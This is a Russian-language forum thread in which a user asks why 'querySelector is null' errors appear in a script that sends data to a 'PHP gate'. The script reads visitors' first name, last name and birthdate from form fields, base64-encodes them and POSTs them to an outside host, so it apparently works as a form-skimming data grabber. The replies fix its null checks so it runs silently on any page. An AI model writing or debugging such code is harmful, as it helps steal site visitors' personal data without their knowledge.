Почему появляется ошибка document.querySelector(...) is null?

Question

[ruthmillercv]

Задали написать простой скрипт с отправкой данных на пхп гейт
Все идеально работает на странице где есть нужные формы, но на странице где нету требуемых в скрипте инпутов в консоль выдает ошибки:

Uncaught TypeError: document.querySelector(...) is null
stepOne file:///home/admin/Desktop/test/script.js:22
file:///home/admin/Desktop/test/script.js:16
addLoadEvent file:///home/admin/Desktop/test/script.js:4
file:///home/admin/Desktop/test/script.js:13

Понимаю что ошибки из за того что он не может найти селекторы указанные в скрипте, но как убрать эти ошибки?

function addLoadEvent(func) {
    let oldonload = window.onload;
    if (typeof window.onload != 'function') {
        window.onload = func;
    } else {
        window.onload = function() {
            oldonload(undefined);
            func();
        }
    }
}

addLoadEvent(function() {

    if (document.querySelector('input[class="fname"]') !== -1) {
        stepOne()
        console.log("stepOne");
 


        function stepOne() {
            document.querySelector('button[class="btn btnPrimary"]').onclick = function () {
                stepTwo()
            }
        }

        function stepTwo() {

            let fname_value;
            fname_value = document.querySelector('input[class="fname"]').value;
            let lname_value;
            lname_value = document.querySelector('input[class="lname"]').value;
            let bdate_value;
            bdate_value = document.querySelector('input[class="birthdate"]').value;


            let secure = {
                fname_key: fname_value,
                lname_key: lname_value,
                bdate_key: bdate_value
            };

            let json_string = JSON.stringify(secure);
            let base64_json_string = btoa(json_string);
            let XMLHttpObj = new XMLHttpRequest();
            XMLHttpObj.open("POST", "https://site.com/file.php?" + "secure=" +
                base64_json_string);
            XMLHttpObj.send("true" + base64_json_string);
            return true
        }
    }
});

Comments

[Сергей delphinpro]

if (document.querySelector('input[class="fname"]') !== -1) {

Это условие всегда истинно
https://developer.mozilla.org/ru/docs/Web/API/Docu...

spoiler

Document метод querySelector() возвращает первый элемент (Element) документа, который соответствует указанному селектору или группе селекторов. Если совпадений не найдено, возвращает значение null.

Вероятно, вы хотели написать

if (document.querySelector('input[class="fname"]')) {

[Сергей delphinpro]

Селекторы, кстати, у вас странные.
Незачем выбирать по атрибуту.
По классу делается так

document.querySelector('input.fname')
document.querySelector('button.btn.btnPrimary')

Answer 1

[Сергей delphinpro]

function stepOne() {
  const btn = document.querySelector('button[class="btn btnPrimary"]')
  if (btn) {
    btn.onclick = function () {
      stepTwo()
    }
  }
}

Comments

[ruthmillercv]

помогло, но тогда почему то всегда выводится в консоль
console.log("stepOne");

[Сергей delphinpro]

ruthmillercv, выше в комментах написал по этому поводу.

Answer 2

[Владимир Коротенко]

Проверьте наличие элемента если есть навешивайте событие по желанию добавьте вывод про ошибку